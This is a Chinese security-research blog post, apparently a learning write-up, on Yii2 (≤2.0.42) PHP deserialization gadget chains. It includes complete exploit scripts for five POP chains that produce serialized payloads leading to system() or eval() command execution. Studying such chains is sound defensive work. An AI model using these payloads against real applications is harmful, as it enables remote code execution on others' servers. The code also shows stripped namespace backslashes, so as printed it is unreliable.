『代码审计』从零开始的 Yii2 框架学习之旅(3)

admin 2024年11月14日22:23:37评论11 views字数 14826阅读49分25秒阅读模式

点击蓝字,关注我们

日期:2023-03-30
作者:Obsidian
介绍:Yii2框架相关漏洞的新手学习记录。

0x01 前言

书接上回。

『代码审计』从零开始的 Yii2 框架学习之旅(3)

yii2 version < =2.0.42 时,反序列化仅剩一个入口点,如下:

反序列化起点 触发方法 存在版本
RunProcess __destruct() <= 2.0.42

本文就从此开始。

为了方便代码调试,测试环境采用php-7.3.4yii-basic-app-2.0.42.tgz版本。

环境的搭建与调试请参考前篇《从零开始的Yii2框架学习之旅》,低版本漏洞复现请参考前篇《从壹开始的Yii2框架学习之旅》

『代码审计』从零开始的 Yii2 框架学习之旅(3)

0x02 漏洞分析及复现

POP 1

与前文一样,反序列化起点在
/vendor/codeception/codeception/ext/RunProcess.php文件中,以下是精简后的代码。
<?phpclass RunProcess{    private $processes = [];    public function __destruct(){        $this->stopProcess();    }    public function stopProcess(){        foreach (array_reverse($this->processes) as $process) {            if (!$process->isRunning()) {                continue;            }        }    }}

__destruct()魔术方法触发 stopProcess() 方法,之后进行调用了isRunning()方法。这里$this->processes参数可控,可通过指定类,去触发__call()魔术方法。之前使用的是Generator类,但在2.0.42版本中,代码增加了__wakeup()限制。

在全局搜索了public function __call(后,发现了/vendor/fakerphp/faker/src/Faker/ValidGenerator.php,精简代码如下:

<?phpclass ValidGenerator{    protected $generator;    protected $validator;    protected $maxRetries;    public function __call($name, $arguments){        $i = 0;        do {            $res = call_user_func_array([$this->generator, $name], $arguments);            ++$i;            if ($i > $this->maxRetries) {                die();            }        } while (!call_user_func($this->validator, $res));        return $res;    }}

其中,$this->generator,$this->maxRetries,$this->validator均可控。

这里采用的是do-while循环,先要执行一次循环语句,然后再判断条件是否为真。整体代码可变成,如下所示:

$i = 0;$res = call_user_func_array([$this->generator, $name], $arguments);++$i;if ($i > $this->maxRetries) {    die();       }call_user_func($this->validator, $res);

$this->maxRetries只要大于零即可,call_user_func_array采用的是数组的写法,无法直接RCE,所以只能在call_user_func进行命令执行。

所以需要$res可控,$rescall_user_func_array的返回结果,所以需要找到另一个__call,返回值可控。

这里采用的是/vendor/fakerphp/faker/src/Faker/DefaultGenerator.php,精简代码如下:

<?phpclass DefaultGenerator{    protected $default;    public function __call($method, $attributes){        return $this->default;    }}

这样,就可以保证call_user_func的函数和参数都可控,可进行命令执行。简单的逻辑代码如下:

class DefaultGenerator{    protected $default='whoami';    public function __call($method, $attributes){        return $this->default;    }}$i = 0;$res = call_user_func_array([new DefaultGenerator(), $name], $arguments); //whoami++$i;if ($i > 1) {        die();       }call_user_func('system', $res);

至此,完成了命令执行。

POP链如下:

CodeceptionExtensionRunProcess::__destruct()->stopProcess()->$process->isRunning()->FakerValidGenerator::__call()->call_user_func_array()->FakerDefaultGenerator::__call()->FakerValidGenerator::__call()->call_user_func()->system('whoami')

EXP:

<?phpnamespace Faker{    class DefaultGenerator{        protected $default ;        function __construct(){            $this->default = 'whoami';        }    }    class ValidGenerator{        protected $generator;        protected $validator;        protected $maxRetries;        function __construct(){            $this->generator = new DefaultGenerator();            $this->validator = 'system';            $this->maxRetries = 1;        }    }}namespace CodeceptionExtension{    use FakerValidGenerator;    class RunProcess{        private $processes = [];        function __construct(){            $this->processes[] = new ValidGenerator();        }    }}namespace{    use CodeceptionExtensionRunProcess;    $exp = new RunProcess();    echo base64_encode(serialize($exp));}

POP 2

反序列化起点依旧是RunProcessisRunning函数,触发__call()魔术方法。在选择下一个跳板时,可以替换为与ValidGenerator类似的vendorfakerphpfakersrcFakerUniqueGenerator.php,精简代码如下:

<?phpclass UniqueGenerator{    protected $generator;    protected $maxRetries;    public function __call($name, $arguments){        $i = 0;        do {            $res = call_user_func_array([$this->generator, $name], $arguments);            ++$i;            if ($i > $this->maxRetries) {                die();            }        } while (array_key_exists(serialize($res), $this->uniques[$name]));        $this->uniques[$name][serialize($res)] = null;        return $res;    }}

最终落点是serialize($res),根据触发魔术方法的条件,序列化操作可以触发__sleep()魔术方法。

在全局搜索public function __sleep()之后,发现了熟悉的LazyString类,精简代码如下:

<?phpclass LazyString{    private $value;    public function __sleep(){        $this->__toString();        return ['value'];    }    public function __toString(){        if (is_string($this->value)) {            return $this->value;        }    }}

可以看到,__sleep()魔术方法调用了__toString()魔术方法,这里就可以利用前篇《从壹开始的Yii2框架学习之旅》中的链子。

SymfonystringLazyString::__toString -> value()->yiirestIndexAction::run->call_user_func()->system('whoami')

这样,整理的链子就打通了。

POP链如下:

CodeceptionExtensionRunProcess::__destruct()->stopProcess()->$process->isRunning()->FakerUniqueGenerator::__call()->call_user_func_array()->FakerDefaultGenerator::__call()->FakerUniqueGenerator::serialize()->SymfonystringLazyString::__sleep()->__toString() -> value()->yiirestIndexAction::run->call_user_func()->system('whoami')

EXP:

<?phpnamespace yiirest {    class IndexAction {        public $checkAccess;        public $id;        public function __construct(){            $this->checkAccess="system";            $this->id="id";        }    }}namespace SymfonyComponentString{    use yiirestIndexAction;    class LazyString{        private $value;        public function __construct(){            $this->value = [new IndexAction(),"run"];        }    }}namespace Faker{    use SymfonyComponentStringLazyString;    class DefaultGenerator{        protected $default ;        function __construct(){            $this->default = new LazyString();        }    }    class UniqueGenerator{        protected $generator;        protected $maxRetries;        public function __construct(){            $this->generator = new DefaultGenerator();            $this->maxRetries = 1;        }    }}namespace CodeceptionExtension{    use FakerUniqueGenerator;    class RunProcess{        private $processes = [] ;        function __construct(){            $this->processes[] = new UniqueGenerator();        }    }}namespace {    use CodeceptionExtensionRunProcess;    $exp = new RunProcess();    echo base64_encode(serialize($exp));}

POP 3-1

这条链子与之前的起点稍微有点不同。

RunProcess__destruct()魔术方法触发 stopProcess() 方法,在这里面有一句代码是:

$this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());

如果$this->output的值为类对象,并且$process->getCommandLine()的返回值可控,将其设置为类对象,那么就可触发对应类的__toString()魔术方法。

我们可以通过DefaultGenerator__call()魔术方法,来让返回值可控;并且可在触发__toString()魔术方法时,利用之前LazyString->IndexAction的链子。

那么到这的POP链就是:

CodeceptionExtensionRunProcess::__destruct()->stopProcess()->$process->getCommandLine()->FakerDefaultGenerator::__call()->SymfonystringLazyString::__toString() -> value()->yiirestIndexAction::run->call_user_func()->system('whoami')

EXP:

<?phpnamespace yiirest{    class IndexAction{        public $checkAccess;        public $id;        public function __construct(){            $this->checkAccess="system";            $this->id="id";        }    }}namespace SymfonyComponentString{    use yiirestIndexAction;    class LazyString {        private $value;        public function __construct(){            $this->value = [new IndexAction(),"run"];        }    }}namespace Faker{    class DefaultGenerator{        protected $default ;        function __construct($default){            $this->default = $default;        }    }}namespace CodeceptionExtension{    use FakerDefaultGenerator;    use SymfonyComponentStringLazyString;    class RunProcess{        private $processes = [];        private $output;        function __construct(){            $this->processes[] = new DefaultGenerator(new LazyString());            $this->output=new DefaultGenerator('');        }    }}namespace{    use CodeceptionExtensionRunProcess;    $exp = new RunProcess();    echo base64_encode(serialize($exp));}

POP 3-2

3-1的链子是有点简单的,并且复用了之前的LazyString类。

这里,在选择__toString()魔术方法时,利用AppendStream这个新的类。

/vendor/guzzlehttp/psr7/src/AppendStream.php精简代码如下:

<?phpclass AppendStream{    private $streams = [];    private $seekable = true;    public function __toString(){            $this->rewind();            return $this->getContents();    }       public function rewind(){        $this->seek(0);    }       public function seek($offset, $whence = SEEK_SET){        if (!$this->seekable){            die();        } elseif ($whence !== SEEK_SET){            die();        }        foreach ($this->streams as $i => $stream){                $stream->rewind();        }    }}

__toString()魔术方法调用了自身的rewind函数,紧接着又触发了自身的seek函数。

$this->seekable默认为TRUE$whence在函数初始化的时候也是与SEEK_SET一致,所以可以顺序运行到foreach

$this->streams可控,去调用了其他类的rewind函数。

全局搜索后public function rewind()后,可发现/vendor/guzzlehttp/psr7/src/CachingStream.php,精简代码如下:

<?phpclass CachingStream{    use StreamDecoratorTrait;    private $remoteStream;    public function rewind(){        $this->seek(0);    }    public function seek($offset, $whence = SEEK_SET){        $diff = $offset - $this->stream->getSize();        while ($diff > 0 && !$this->remoteStream->eof()){            $this->read($diff);        }    }    public function read($length){        $data = $this->stream->read($length);    }}

rewind函数,触发了自身的seek函数。这里会进行几个判断,首先是$diff=0-X;$diff>0,可知,X<0$this->stream可控,那么这个就可以通过。

第二个判断是,!$this->remoteStream->eof(),那么可知$this->remoteStream->eof()TRUE$this->remoteStream可控,那么就可以继续利用DefaultGenerator__call()魔术方法进行返回值控制。

判断通过后,会触发自身的read函数,而read函数,会继续触发其他类的read函数。

接下来用到的是/vendor/guzzlehttp/psr7/src/PumpStream.php,精简代码如下:

<?phpclass PumpStream{    private $source;    private $size;    private $buffer;    public function getSize(){        return $this->size;    }    public function read($length){        $data = $this->buffer->read($length);        $readLen = strlen($data);        $remaining = $length - $readLen;        if ($remaining){            $this->pump($remaining);        }    }    private function pump($length){        if ($this->source) {            do {                $data = call_user_func($this->source, $length);            } while ($length > 0);        }    }}

这时候,将CachingStreamPumpStream结合起来看,合并同类项之后:

class CachingStream{    $this->stream=new PumpStream();    $diff = 0 - $this->stream->size;//0-(-2)=2    while ($diff > 0){//2        $this->stream->read($diff);    }}class PumpStream{    private $size=-2;    public function read($length){        $remaining = $length - strlen($length);//2-1=1        if ($remaining){            $this->pump($remaining);        }    }}

如果CachingStream中的streamPumpStream类,并且PumpStreamsize-2

那么,$diff=2;$length=2;$remaining=2-len(2)=1,代码就可以继续运行,执行PumpStreampump函数。

在判断了$this->source之后,执行了call_user_func函数,可执行命令。

其中,$this->source可控,那么就可以利用数组的方式,通过调用IndexActionrun函数执行命令。

完整POP链如下:

CodeceptionExtensionRunProcess::__destruct()->stopProcess()->$process->getCommandLine()->GuzzleHttpPsr7AppendStream::__toString()->rewind()->seek()->GuzzleHttpPsr7CachingStream::rewind()->seek()->read()->GuzzleHttpPsr7PumpStream::read()->pump()->call_user_func()->yiirestIndexAction::run->call_user_func()->system('whoami')

EXP:

<?phpnamespace yiirest{class IndexAction {    public $checkAccess;    public $id;    public function __construct(){        $this->checkAccess="system";        $this->id="whoami";    }}}namespace Faker{class DefaultGenerator{    protected $default;    public function __construct($default = null){        $this->default = $default;    }}}namespace GuzzleHttpPsr7{use FakerDefaultGenerator;use yiirestIndexAction;class PumpStream{    private $source;    private $size;    private $buffer;    public function __construct(){        $this->buffer=new DefaultGenerator('');        $this->source=[new IndexAction(),"run"];        $this->size=-2;    }}class CachingStream{    private $remoteStream;    public function __construct(){        $this->remoteStream=new DefaultGenerator(false);        $this->stream=new  PumpStream();    }}class AppendStream{    private $streams = [];    private $seekable;    public function __construct(){        $this->streams[]=new CachingStream();        $this->seekable = true;    }}}namespace CodeceptionExtension{use FakerDefaultGenerator;use GuzzleHttpPsr7AppendStream;class  RunProcess{    protected $output;    private $processes = [];    public function __construct(){        $this->processes[]=new DefaultGenerator(new AppendStream());        $this->output=new DefaultGenerator('');    }}}namespace {    use CodeceptionExtensionRunProcess;    $exp = new RunProcess();    echo base64_encode(serialize($exp));}

POP 4

本条链子是最复杂的一条链子,入口点还是在RunProcess__destruct()魔术方法触发 stopProcess() 方法,之后进行调用了isRunning()方法,$this->processes参数可控,去触发__call()魔术方法。

在选择__call()的利用类时,用到的是/vendor/phpspec/prophecy/src/Prophecy/Prophecy/ObjectProphecy.php,精简代码如下:

<?phpclass ObjectProphecy{    private $lazyDouble;    private $revealer;    public function reveal(){        $double = $this->lazyDouble->getInstance();    }    public function __call($methodName, array $arguments){        $arguments = new ArgumentsWildcard($this->revealer->reveal($arguments));        }    }}

__call()魔术方法触发了$this->revealerreveal()函数,这里我们可以选择调用自身或者其他类,但实际跟进后发现,其他类是走不通的,所以这里触发自身的reveal()函数。然后会继续调用$this->lazyDoublegetInstance()函数,在全局搜索public function getInstance(后发现,仅有一个类,也就是,/vendor/phpspec/prophecy/src/Prophecy/Doubler/LazyDouble.php,精简代码如下:

<?phpclass LazyDouble{    private $doubler;    private $class;    private $interfaces = array();    private $arguments  = null;    private $double;    public function getInstance(){        if (null === $this->double) {            if (null !== $this->arguments) {                $this->double = $this->doubler->double($this->class, $this->interfaces, $this->arguments);            }            $this->double = $this->doubler->double($this->class, $this->interfaces);        }    }}

这里的getInstance()函数进行了判断,但是所有的参数我们均可控,唯一不同的就是,我们要控制$this->arguments参数,来控制接下来触发的double()函数的传参是三个或者两个,至于参数具体要赋值什么,需要进一步看到double()函数的代码进行分析。在全局搜索public function double(后发现,存在/vendor/phpspec/prophecy/src/Prophecy/Doubler/Doubler.php,精简代码如下:

<?phpclass Doubler{    private $mirror;    private $creator;    private $namer;    public function double(ReflectionClass $class = null, array $interfaces, array $args = null){        foreach ($interfaces as $interface) {            if (!$interface instanceof ReflectionClass) {                die();            }        }        $classname  = $this->createDoubleClass($class, $interfaces);    }    protected function createDoubleClass(ReflectionClass $class = null, array $interfaces){        $name = $this->namer->name($class, $interfaces);        $node = $this->mirror->reflect($class, $interfaces);        $this->creator->create($name, $node);    }}

从这里的double函数的传参来看,第三个参数是无用的,不影响函数整体。第一个参数类型要求的是ReflectionClass也就是反射类,生成反射类也很简单,只需要new ReflectionClass('类名');即可,为了方便使用,我们可以利用php的原生类,例如:ErrorException。第二个参数进行了foreach循环,并且有instanceof ReflectionClass判断,这个判断是确定变量是否为ReflectionClass的实例,也就是变量是否为反射类,那么这就跟第一个参数是一样的,只要反射类即可。

通过判断后,带着第一和第二两个参数调用了自身的createDoubleClass()函数。

然后调用了其他类的create()函数,并且传参是可控的。因为$this->namer$this->mirror可控,那么可以利用DefaultGenerator__call()魔术方法来控制返回值,进而可以控制两个参数。

在全局搜索public function create(后,找到了/vendor/phpspec/prophecy/src/Prophecy/Doubler/Generator/ClassCreator.php,精简代码如下:

<?phpclass ClassCreator{    private $generator;    public function create($classname, NodeClassNode $class){        $code = $this->generator->generate($classname, $class);        $return = eval($code);        }}

这里的$this->generator可控,我们同样可以利用DefaultGenerator来控制$code,之后可以进行命令执行。

要注意的是$class参数必需是NodeClassNode类。

至此,整条链子分析完毕。

POP链如下:

CodeceptionExtensionRunProcess::__destruct()->stopProcess()->$process->isRunning()->ProphecyProphecyObjectProphecy::__call()->reveal()->ProphecyDoublerLazyDouble::getInstance()->ProphecyDoublerDoubler::double()->createDoubleClass()->ProphecyDoublerGeneratorClassCreator::create()->eval()->system('whoami')

EXP:

<?phpnamespace ProphecyDoublerGenerator{use FakerDefaultGenerator;class ClassCreator{    private $generator;    function __construct(){        $this->generator = new DefaultGenerator('system("whoami");');    }}}namespace Faker{class DefaultGenerator{protected $default;    function __construct($default){        $this->default = $default;    }}}namespace ProphecyDoubler{use ProphecyDoublerGeneratorNodeClassNode;use FakerDefaultGenerator;use ProphecyDoublerGeneratorClassCreator;class Doubler{    private $mirror;    private $creator;    private $namer;    function __construct(){        $this->namer = new DefaultGenerator('');        $this->mirror = new DefaultGenerator(new ClassNode());        $this->creator = new ClassCreator();    }}}namespace ProphecyDoublerGeneratorNode{class ClassNode{}}namespace ProphecyDoubler{class LazyDouble{    private $doubler;    private $argument;    private $class;    private $interfaces;    function __construct(){        $this->doubler =new Doubler();        $this->class = new ReflectionClass('Error');        $this->argument = null;        $this->interfaces[] = new ReflectionClass('Error');    }}}namespace ProphecyProphecy{use ProphecyDoublerLazyDouble;class ObjectProphecy{    private $lazyDouble;    private $revealer;    function __construct($a){        $this->revealer = $a;        $this->lazyDouble = new LazyDouble();    }}}namespace CodeceptionExtension{use ProphecyProphecyObjectProphecy;class RunProcess{    private $processes;    function __construct(){        $a = new ObjectProphecy('1');        $this->processes[] = new ObjectProphecy($a);    }}}namespace {    use CodeceptionExtensionRunProcess;    $exp = new RunProcess();    echo base64_encode(serialize($exp));}

PS:PHP 7.4 Serialization of 'ReflectionClass' is not allowed

注意:PHP 7.4之后的版本不支持反射类的序列化。

0x03 总结

yii2的反序列化漏洞就暂时告一段落了,在2.0.43版本已经将入口点都处理干净了。

本系列一共三篇文章,从低版本到最终的2.0.42版本,基本上已经涵盖了绝大部分的反序列化链子,一路学习下来,自己收获良多。

共勉。

『代码审计』从零开始的 Yii2 框架学习之旅(3)

参考文章

https://xz.aliyun.com/t/9420

https://forum.butian.net/share/666

https://forum.butian.net/share/734

免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。

点此亲启

原文始发于微信公众号(宸极实验室):『代码审计』从零开始的 Yii2 框架学习之旅(3)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月14日22:23:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   『代码审计』从零开始的 Yii2 框架学习之旅(3)https://cn-sec.com/archives/1639972.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息